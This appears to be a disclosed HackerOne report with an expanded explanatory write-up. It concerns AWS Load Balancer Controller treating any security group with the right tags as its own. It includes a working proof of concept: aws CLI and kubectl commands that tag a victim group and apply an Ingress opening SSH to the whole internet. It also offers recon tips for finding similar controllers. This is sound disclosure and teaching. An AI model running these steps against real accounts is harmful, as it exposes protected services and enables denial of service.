AWS Load Balancer Controller can be used by an attacker to modify rules of any Security Group that they are able to tag
The AWS Load Balancer Controller trusted tag values on security groups to decide which ones it managed, so an attacker who could tag any security group could make the controller treat it as its own. The attacker could then use Ingress annotations to open inbound rules on that unmanaged group, exposing protected services or blocking legitimate traffic.
Originally disclosed on HackerOne
- Triaged in 5 months
- Paid in 5 months
- Disclosed after 11 months
Report Submission Form
Summary:
The IAM Policy of AWS Load Balancer Controller allows it to modify rules of any SG on the AWS Account. This is legitimately used to manage Security Groups created by the controller when an Ingress resource doesn’t explicit a SG. Annotations can be added to the Ingress to change inbound rules of the managed SG.
An attacker with access to some namespace on a K8s cluster with AWS Load Balancer Controller properly installed and configured, is able to trick the controller into modifying rules of any SG that the attacker is able to tag.
AWS Load Balancer Controller uses three tags to associate a SG on AWS to the supposed managed SG created for an ALB: elbv2.k8s.aws/cluster, ingress.k8s.aws/stack, and ingress.k8s.aws/resource. When there are multiple SGs that match the expected tag values, the controller attaches the first one returned by the AWS SDK to the ALB and deletes the other ones. The API call returns SGs sorted by their respective ids.
If an arbitrary SG is tagged with the values expected by AWS Load Balancer Controller for some Ingress before its creation, as soon the Ingress is created the controller thinks that the targeted SG is a managed one. This allows an attacker to use annotations alb.ingress.kubernetes.io/listen-ports and alb.ingress.kubernetes.io/inbound-cidrs on the Ingress resource to modify inbound rules of unmanaged SGs, what should not be possible.
Kubernetes Version:
version.Info{Major:"1", Minor:"20+", GitVersion:"v1.20.4-eks-6b7464", GitCommit:"6b746440c04cb81db4426842b4ae65c3f7035e53", GitTreeState:"clean", BuildDate:"2021-03-19T19:33:03Z", GoVersion:"go1.15.8", Compiler:"gc", Platform:"linux/amd64"}
Component Version:
AWS Load Balancer Controller v2.2.0
Steps To Reproduce:
VPC_ID=vpc-00123456789abcdef
CLUSTER_NAME=kind
# Developer legitimatly creates a security group to protect some service
UNMANAGED_SG_ID=$(aws ec2 create-security-group --description unmanaged-sg --group-name unmanaged-sg --vpc-id ${VPC_ID} | jq -r .GroupId)
# Attacker tags the unmanaged security group with values expected by the AWS Load Balancer Controller
aws ec2 create-tags --resources ${UNMANAGED_SG_ID} --tags "Key=elbv2.k8s.aws/cluster,Value=${CLUSTER_NAME}" "Key=ingress.k8s.aws/stack,Value=echoserver/echoserver" "Key=ingress.k8s.aws/resource,Value=ManagedLBSecurityGroup"
# Attacker creates an Ingress with a combination of name, namespace, and cluster that matches the tags added to the unmanaged SG
# listen-ports and inbound-cidrs annotations are set with values related to the inbound rule that will be created on the security group
aws eks update-kubeconfig --name ${CLUSTER_NAME}
cat <<- EOF | kubectl apply -f -
apiVersion: v1
kind: Service
metadata:
namespace: echoserver
name: echoserver
spec:
selector:
app: echoserver
ports:
- name: http
protocol: TCP
port: 8080
---
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
namespace: echoserver
name: echoserver
annotations:
kubernetes.io/ingress.class: alb
alb.ingress.kubernetes.io/target-type: ip
alb.ingress.kubernetes.io/listen-ports: '[{"HTTP":22}]'
alb.ingress.kubernetes.io/inbound-cidrs: 0.0.0.0/0
spec:
rules:
- host: echoserver.example.com
http:
paths:
- backend:
serviceName: echoserver
servicePort: 8080
EOF
sleep 15
# Inbound rules were created on the unmanaged security group, allowing ingress SSH traffic (TCP Port 22) from anywhere (CIDR 0.0.0.0/0)
aws ec2 describe-security-groups --group-id ${UNMANAGED_SG_ID}
Impact
An attacker is capable of gaining access to all network resources protected by some Security Group and is also able to expose critical services to the Internet if they are on a public subnet. A denial of service attack can be performed by blocking traffic of legitimate clients to resources with SGs attached.
Context
AWS Load Balancer Controller is a Kubernetes controller that provisions and manages AWS Elastic Load Balancers for Kubernetes Ingress and Service resources. When an Ingress does not specify its own security group, the controller creates and manages a security group for the ALB and keeps its inbound rules in sync with annotations on the Ingress.
To do this, the controller's IAM policy allows it to modify the rules of any security group in the AWS account. That broad permission is legitimate for the groups the controller itself created, but it means the controller must be able to tell its own security groups apart from every other group in the account. It does so with tags.
The report shows that this trust in tags can be abused: an attacker who can tag a security group can make the controller treat that group as a managed one and rewrite its inbound rules.
Setup
The researcher worked against a Kubernetes cluster with AWS Load Balancer Controller installed and configured, in an AWS account where the controller's IAM policy grants it the ability to modify security group rules.
The versions recorded in the report are:
- Kubernetes:
version.Info{Major:"1", Minor:"20+", GitVersion:"v1.20.4-eks-6b7464", GitCommit:"[redacted]", GitTreeState:"clean", BuildDate:"2021-03-19T19:33:03Z", GoVersion:"go1.15.8", Compiler:"gc", Platform:"linux/amd64"} - AWS Load Balancer Controller: v2.2.0
The precondition for the attack is that the attacker has access to some namespace on the cluster. The attacker also needs to be able to tag a security group in the AWS account, which is the capability the whole technique hinges on.
Finding it
The controller associates a security group on AWS with the group it believes it manages for an ALB using three tags:
elbv2.k8s.aws/clusteringress.k8s.aws/stackingress.k8s.aws/resource
When several security groups match the expected tag values, the controller attaches the first one returned by the AWS SDK to the ALB and deletes the others. The API call returns security groups sorted by their respective IDs.
That behaviour is the flaw. The controller does not verify that a matching group was actually created by it; it trusts the tags alone. If an arbitrary security group carries the tag values the controller expects for a given Ingress before that Ingress exists, then as soon as the Ingress is created the controller treats the targeted group as a managed one. From that point the alb.ingress.kubernetes.io/listen-ports and alb.ingress.kubernetes.io/inbound-cidrs annotations on the Ingress are applied to the unmanaged group, which should not be possible.
Exploitation
Step 1: Create a security group that the developer intends to keep unmanaged
The scenario starts with a developer legitimately creating a security group to protect some service:
VPC_ID=vpc-00123456789abcdef
CLUSTER_NAME=kind
# Developer legitimatly creates a security group to protect some service
UNMANAGED_SG_ID=$(aws ec2 create-security-group --description unmanaged-sg --group-name unmanaged-sg --vpc-id ${VPC_ID} | jq -r .GroupId)
The group ID is captured in UNMANAGED_SG_ID for later use. The cluster name used throughout is kind.
Step 2: Tag the unmanaged group with the values the controller expects
The attacker tags the unmanaged security group with the three tag keys and the values the controller would expect for an Ingress named echoserver in the echoserver namespace:
# Attacker tags the unmanaged security group with values expected by the AWS Load Balancer Controller
aws ec2 create-tags --resources ${UNMANAGED_SG_ID} --tags "Key=elbv2.k8s.aws/cluster,Value=${CLUSTER_NAME}" "Key=ingress.k8s.aws/stack,Value=echoserver/echoserver" "Key=ingress.k8s.aws/resource,Value=ManagedLBSecurityGroup"
The elbv2.k8s.aws/cluster tag carries the cluster name, ingress.k8s.aws/stack carries the namespace and name pair, and ingress.k8s.aws/resource carries the resource identifier the controller uses for a managed load balancer security group.
Step 3: Create an Ingress whose name, namespace and cluster match the tags
The attacker then creates a Service and an Ingress whose name, namespace and cluster match the tags just applied. The listen-ports and inbound-cidrs annotations are set to the inbound rule the attacker wants created on the security group:
# Attacker creates an Ingress with a combination of name, namespace, and cluster that matches the tags added to the unmanaged SG
# listen-ports and inbound-cidrs annotations are set with values related to the inbound rule that will be created on the security group
aws eks update-kubeconfig --name ${CLUSTER_NAME}
cat <<- EOF | kubectl apply -f -
apiVersion: v1
kind: Service
metadata:
namespace: echoserver
name: echoserver
spec:
selector:
app: echoserver
ports:
- name: http
protocol: TCP
port: 8080
---
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
namespace: echoserver
name: echoserver
annotations:
kubernetes.io/ingress.class: alb
alb.ingress.kubernetes.io/target-type: ip
alb.ingress.kubernetes.io/listen-ports: '[{"HTTP":22}]'
alb.ingress.kubernetes.io/inbound-cidrs: [redacted]/0
spec:
rules:
- host: echoserver.example.com
http:
paths:
- backend:
serviceName: echoserver
servicePort: 8080
EOF
sleep 15
The listen-ports annotation asks for HTTP on port 22, and inbound-cidrs opens the rule to [redacted]/0. The sleep 15 gives the controller time to reconcile the Ingress.
Step 4: Observe the new inbound rule on the unmanaged group
The attacker confirms the result by describing the security group:
# Inbound rules were created on the unmanaged security group, allowing ingress SSH traffic (TCP Port 22) from anywhere (CIDR [redacted]/0)
aws ec2 describe-security-groups --group-id ${UNMANAGED_SG_ID}
Inbound rules were created on the unmanaged security group, allowing ingress SSH traffic (TCP port 22) from anywhere ([redacted]/0). The developer's group, which the controller never created, now carries rules chosen by the attacker.
Root cause
The controller identifies its own security groups purely by tag values. It does not check that a matching group was created by the controller, so any group carrying the expected elbv2.k8s.aws/cluster, ingress.k8s.aws/stack and ingress.k8s.aws/resource tags is treated as managed. Because the controller's IAM policy permits it to modify rules on any security group in the account, nothing at the AWS permission layer stops the write either.
The selection logic adds a second problem: when multiple groups match, the controller attaches the first one returned by the AWS SDK and deletes the others, and the API returns groups sorted by their IDs.
Impact
An attacker is capable of gaining access to all network resources protected by some security group, and is also able to expose critical services to the Internet if they are on a public subnet. A denial of service attack can be performed by blocking traffic of legitimate clients to resources with security groups attached.
The attack requires access to some namespace on a cluster running AWS Load Balancer Controller, plus the ability to tag the target security group.
Fix
The report does not describe a fix or a change made in response.
Variants to test
- Tag an unrelated security group with the three controller tags for an
Ingressyou are about to create, then create theIngresswithlisten-portsandinbound-cidrsannotations. A positive result is new inbound rules appearing on the tagged group after the controller reconciles. - Create several groups with matching tags to exercise the tie-breaking path. A positive result is the controller attaching one of them and deleting the others, confirming the first-returned-by-ID behaviour.
- Apply the same tag-based association to other controllers that manage cloud resources from Kubernetes objects, where ownership is inferred from labels or tags rather than verified.
Hunting notes
This class of bug hides wherever a controller or operator maps Kubernetes objects to cloud resources by tag or label and then acts on the match with broad cloud permissions. During recon, look for controllers whose IAM policies allow modifying resources account-wide, and read their documentation for the tag keys they use to associate resources. If those keys are documented and the controller does not verify ownership, the association is worth testing.
The researcher demonstrated impact concretely: a developer-created group ended up with an SSH rule open to [redacted]/0, shown with a describe-security-groups call after the Ingress was applied.
What happened, in plain words
A piece of software called the AWS Load Balancer Controller runs inside a Kubernetes cluster and manages parts of Amazon Web Services (AWS) on your behalf. One of the things it manages is a security group, which is a firewall: a list of rules saying which network traffic is allowed in and out of a set of machines.
The controller is given very wide permission: it is allowed to change the firewall rules of any security group in the AWS account. To avoid touching groups it does not own, it decides which groups are "its own" by looking at labels called tags. A tag is just a name and a value attached to a cloud resource, like a sticky note on a box.
The researcher found that the controller trusts those sticky notes completely. If an attacker can put the right sticky notes on someone else's security group, the controller will believe the group belongs to it. Then, when the attacker creates a small configuration object in Kubernetes, the controller happily rewrites the firewall rules of that group. In the demonstration, a group a developer had created to protect a service ended up with an SSH rule open to the whole internet.
Context
Before the details, a few building blocks.
Kubernetes is a system for running software in containers (small, packaged programs) across many machines. You describe what you want in text files, and Kubernetes makes it happen. The cluster is divided into namespaces, which are like folders that keep one team's or one application's objects separate from another's.
AWS is Amazon's cloud. Two AWS ideas matter here:
- A security group is a firewall attached to cloud machines. It holds inbound rules (who may connect in) and outbound rules (where the machines may connect out).
- A VPC (Virtual Private Cloud) is a private network inside AWS where your machines and security groups live.
AWS Load Balancer Controller is a program that runs in the Kubernetes cluster. A load balancer is a front door that spreads incoming traffic across several machines. The controller watches two kinds of Kubernetes objects, Ingress (a rule describing how outside traffic should reach services inside the cluster) and Service (a description of a running application and its ports), and creates and manages AWS load balancers for them.
When an Ingress does not name its own security group, the controller creates one for the load balancer and keeps its inbound rules in sync with settings written on the Ingress. Those settings are called annotations: key and value pairs attached to a Kubernetes object to give extra instructions.
To do all this, the controller's IAM policy allows it to modify the rules of any security group in the AWS account. IAM is AWS's permission system, and a policy is a document listing what a program or person may do. That broad permission is reasonable for the groups the controller created itself, but it means the controller must be able to tell its own groups apart from every other group in the account. It does so with tags.
The report shows that this trust in tags can be abused: an attacker who can tag a security group can make the controller treat that group as a managed one and rewrite its inbound rules.
Setup
The researcher worked against a Kubernetes cluster with AWS Load Balancer Controller installed and configured, in an AWS account where the controller's IAM policy grants it the ability to modify security group rules.
The versions recorded in the report are:
- Kubernetes:
version.Info{Major:"1", Minor:"20+", GitVersion:"v1.20.4-eks-6b7464", GitCommit:"[redacted]", GitTreeState:"clean", BuildDate:"2021-03-19T19:33:03Z", GoVersion:"go1.15.8", Compiler:"gc", Platform:"linux/amd64"} - AWS Load Balancer Controller: v2.2.0
The precondition for the attack is that the attacker has access to some namespace on the cluster. The attacker also needs to be able to tag a security group in the AWS account, which is the capability the whole technique hinges on.
Finding it
The controller associates a security group on AWS with the group it believes it manages for a load balancer using three tags:
elbv2.k8s.aws/clusteringress.k8s.aws/stackingress.k8s.aws/resource
When several security groups match the expected tag values, the controller attaches the first one returned by the AWS SDK to the load balancer and deletes the others. The SDK is the software library the controller uses to talk to AWS, and the API call returns security groups sorted by their respective IDs. An API (Application Programming Interface) is the set of requests one program can send to another; here it is how the controller asks AWS to list and change things.
That behaviour is the flaw. The controller does not verify that a matching group was actually created by it; it trusts the tags alone. If an arbitrary security group carries the tag values the controller expects for a given Ingress before that Ingress exists, then as soon as the Ingress is created the controller treats the targeted group as a managed one. From that point the alb.ingress.kubernetes.io/listen-ports and alb.ingress.kubernetes.io/inbound-cidrs annotations on the Ingress are applied to the unmanaged group, which should not be possible.
Exploitation
Step 1: Create a security group that the developer intends to keep unmanaged
The scenario starts with a developer legitimately creating a security group to protect some service:
VPC_ID=vpc-00123456789abcdef
CLUSTER_NAME=kind
# Developer legitimatly creates a security group to protect some service
UNMANAGED_SG_ID=$(aws ec2 create-security-group --description unmanaged-sg --group-name unmanaged-sg --vpc-id ${VPC_ID} | jq -r .GroupId)
Line by line:
VPC_ID=vpc-00123456789abcdefstores the identifier of the private network in a variable, so it can be reused without retyping.CLUSTER_NAME=kindstores the cluster name,kind, in a variable. The same name is used later in the tags.- The
aws ec2 create-security-groupcommand asks AWS to create a new firewall in that network, with a description and a name ofunmanaged-sg. The word "unmanaged" is the developer's intent: this group is not meant to be handled by the controller. - The output of that command is piped into
jq, a tool for reading JSON (a common text format for data).jq -r .GroupIdpulls out just the new group's ID, and the shell stores it inUNMANAGED_SG_IDfor later use.
This step exists to set up the victim: a real, developer-owned security group that the attacker does not control.
Step 2: Tag the unmanaged group with the values the controller expects
The attacker tags the unmanaged security group with the three tag keys and the values the controller would expect for an Ingress named echoserver in the echoserver namespace:
# Attacker tags the unmanaged security group with values expected by the AWS Load Balancer Controller
aws ec2 create-tags --resources ${UNMANAGED_SG_ID} --tags "Key=elbv2.k8s.aws/cluster,Value=${CLUSTER_NAME}" "Key=ingress.k8s.aws/stack,Value=echoserver/echoserver" "Key=ingress.k8s.aws/resource,Value=ManagedLBSecurityGroup"
Line by line:
aws ec2 create-tagsis the AWS command that adds tags to a resource.--resources ${UNMANAGED_SG_ID}says which resource to tag: the developer's group from step 1.- The first
--tagsentry setselbv2.k8s.aws/clusterto the cluster name. This is the tag the controller uses to know which cluster a group belongs to. - The second sets
ingress.k8s.aws/stacktoechoserver/echoserver, a namespace and name pair. This tells the controller whichIngressthe group supposedly belongs to. - The third sets
ingress.k8s.aws/resourcetoManagedLBSecurityGroup, the identifier the controller uses for a managed load balancer security group.
Why this step: the controller never checks who created a group, only what tags it carries. Copying the expected tag values onto the victim group is what makes the controller mistake it for its own.
Step 3: Create an Ingress whose name, namespace and cluster match the tags
The attacker then creates a Service and an Ingress whose name, namespace and cluster match the tags just applied. The listen-ports and inbound-cidrs annotations are set to the inbound rule the attacker wants created on the security group:
# Attacker creates an Ingress with a combination of name, namespace, and cluster that matches the tags added to the unmanaged SG
# listen-ports and inbound-cidrs annotations are set with values related to the inbound rule that will be created on the security group
aws eks update-kubeconfig --name ${CLUSTER_NAME}
cat <<- EOF | kubectl apply -f -
apiVersion: v1
kind: Service
metadata:
namespace: echoserver
name: echoserver
spec:
selector:
app: echoserver
ports:
- name: http
protocol: TCP
port: 8080
---
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
namespace: echoserver
name: echoserver
annotations:
kubernetes.io/ingress.class: alb
alb.ingress.kubernetes.io/target-type: ip
alb.ingress.kubernetes.io/listen-ports: '[{"HTTP":22}]'
alb.ingress.kubernetes.io/inbound-cidrs: [redacted]/0
spec:
rules:
- host: echoserver.example.com
http:
paths:
- backend:
serviceName: echoserver
servicePort: 8080
EOF
sleep 15
Line by line:
aws eks update-kubeconfig --name ${CLUSTER_NAME}writes connection settings so thekubectltool knows how to reach the cluster. EKS is Amazon's managed Kubernetes service, and a kubeconfig is the file holding the address and credentials for a cluster.cat <<- EOF | kubectl apply -f -feeds the text that follows intokubectl apply, the command that creates or updates objects in the cluster from a file. The-means "read from standard input" rather than a file on disk.- The first document is a
Servicein theechoservernamespace namedechoserver. It selects containers labelledapp: echoserverand exposes TCP port 8080 under the namehttp. AServicegives the application a stable name and port inside the cluster. ---separates the two documents in the same input.- The second document is an
Ingressin the same namespace with the same name. Its name and namespace are exactly what the attacker wrote into theingress.k8s.aws/stacktag, so the controller will match the two. kubernetes.io/ingress.class: albtells the cluster that thisIngressshould be handled by the AWS load balancer controller.alb.ingress.kubernetes.io/target-type: ipasks the controller to send traffic to the containers' IP addresses.alb.ingress.kubernetes.io/listen-ports: '[{"HTTP":22}]'is the key line: it asks for a listener on HTTP port 22. Port 22 is normally SSH, the remote login protocol, so opening it is a serious change.alb.ingress.kubernetes.io/inbound-cidrs: [redacted]/0says who may connect:[redacted]/0means every address on the internet. A CIDR is a compact way of writing a range of IP addresses.- The
specsection routes requests for the hostechoserver.example.comto theechoserverservice on port 8080. sleep 15pauses for fifteen seconds so the controller has time to notice the newIngressand act on it.
Why this step: the controller only acts when an Ingress appears that matches the tags. Creating that Ingress is the trigger, and its annotations are the instructions the controller will follow on the group it believes it owns.
Step 4: Observe the new inbound rule on the unmanaged group
The attacker confirms the result by describing the security group:
# Inbound rules were created on the unmanaged security group, allowing ingress SSH traffic (TCP Port 22) from anywhere (CIDR [redacted]/0)
aws ec2 describe-security-groups --group-id ${UNMANAGED_SG_ID}
Line by line:
aws ec2 describe-security-groupsasks AWS to show the details of a security group, including its rules.--group-id ${UNMANAGED_SG_ID}points at the developer's group, the one the controller never created.
Inbound rules were created on the unmanaged security group, allowing ingress SSH traffic (TCP port 22) from anywhere ([redacted]/0). The developer's group, which the controller never created, now carries rules chosen by the attacker.
Root cause
The controller identifies its own security groups purely by tag values. It does not check that a matching group was created by the controller, so any group carrying the expected elbv2.k8s.aws/cluster, ingress.k8s.aws/stack and ingress.k8s.aws/resource tags is treated as managed. Because the controller's IAM policy permits it to modify rules on any security group in the account, nothing at the AWS permission layer stops the write either.
The selection logic adds a second problem: when multiple groups match, the controller attaches the first one returned by the AWS SDK and deletes the others, and the API returns groups sorted by their IDs.
Impact
An attacker is capable of gaining access to all network resources protected by some security group, and is also able to expose critical services to the Internet if they are on a public subnet. A subnet is a slice of a network; a public subnet is one whose machines can be reached from the internet. A denial of service attack means making a service unavailable to its real users, here by blocking legitimate traffic with the firewall rules.
The attack requires access to some namespace on a cluster running AWS Load Balancer Controller, plus the ability to tag the target security group.
Fix
The report does not describe a fix or a change made in response.
Variants to test
- Tag an unrelated security group with the three controller tags for an
Ingressyou are about to create, then create theIngresswithlisten-portsandinbound-cidrsannotations. A positive result is new inbound rules appearing on the tagged group after the controller reconciles. - Create several groups with matching tags to exercise the tie-breaking path. A positive result is the controller attaching one of them and deleting the others, confirming the first-returned-by-ID behaviour.
- Apply the same tag-based association to other controllers that manage cloud resources from Kubernetes objects, where ownership is inferred from labels or tags rather than verified.
Hunting notes
This class of bug hides wherever a controller or operator maps Kubernetes objects to cloud resources by tag or label and then acts on the match with broad cloud permissions. During recon, look for controllers whose IAM policies allow modifying resources account-wide, and read their documentation for the tag keys they use to associate resources. If those keys are documented and the controller does not verify ownership, the association is worth testing.
The researcher demonstrated impact concretely: a developer-created group ended up with an SSH rule open to [redacted]/0, shown with a describe-security-groups call after the Ingress was applied.
Glossary
- AWS: Amazon Web Services, a cloud provider where you rent computers, networks and other services.
- AWS Load Balancer Controller: software running in a Kubernetes cluster that creates and manages AWS load balancers for
IngressandServiceobjects. - API: the set of requests one program can send to another to read or change data.
- Annotation: a key and value attached to a Kubernetes object to give extra instructions to tools.
- CIDR: a compact notation for a range of IP addresses, such as
[redacted]/0, which means every address. - Cluster: a group of machines managed together by Kubernetes.
- Container: a packaged program with everything it needs to run, isolated from other programs on the same machine.
- CVSS: a standard scoring system for the severity of a security flaw, from 0 to 10.
- Denial of service: an attack that makes a service unavailable to its legitimate users.
- EKS: Amazon's managed Kubernetes service.
- IAM policy: a document in AWS listing what a program or person is allowed to do.
- Ingress: a Kubernetes object describing how traffic from outside the cluster should reach services inside it.
- Inbound rule: a firewall rule saying who may connect in to a set of machines.
- JSON: a common text format for structured data.
- kubectl: the command line tool for talking to a Kubernetes cluster.
- kubeconfig: a file holding the address and credentials needed to reach a cluster.
- Kubernetes: a system for running containerised software across many machines from text descriptions.
- Load balancer: a front door that spreads incoming traffic across several machines.
- Namespace: a folder-like division inside a Kubernetes cluster that keeps objects separate.
- Resource injection: a weakness where attacker-supplied data is used to create or change a resource it should not affect.
- SDK: a software library that makes it easier for a program to call another service's API.
- Security group: a firewall in AWS holding inbound and outbound rules for a set of machines.
- Service: a Kubernetes object that gives a running application a stable name and port inside the cluster.
- SSH: a protocol for logging in to a remote machine, normally on port 22.
- Subnet: a slice of a network; a public subnet can be reached from the internet.
- Tag: a name and value attached to a cloud resource, used for labelling and lookup.
- TCP: a common network protocol that carries connections such as web and SSH traffic.
- VPC: a private network inside AWS where your machines and security groups live.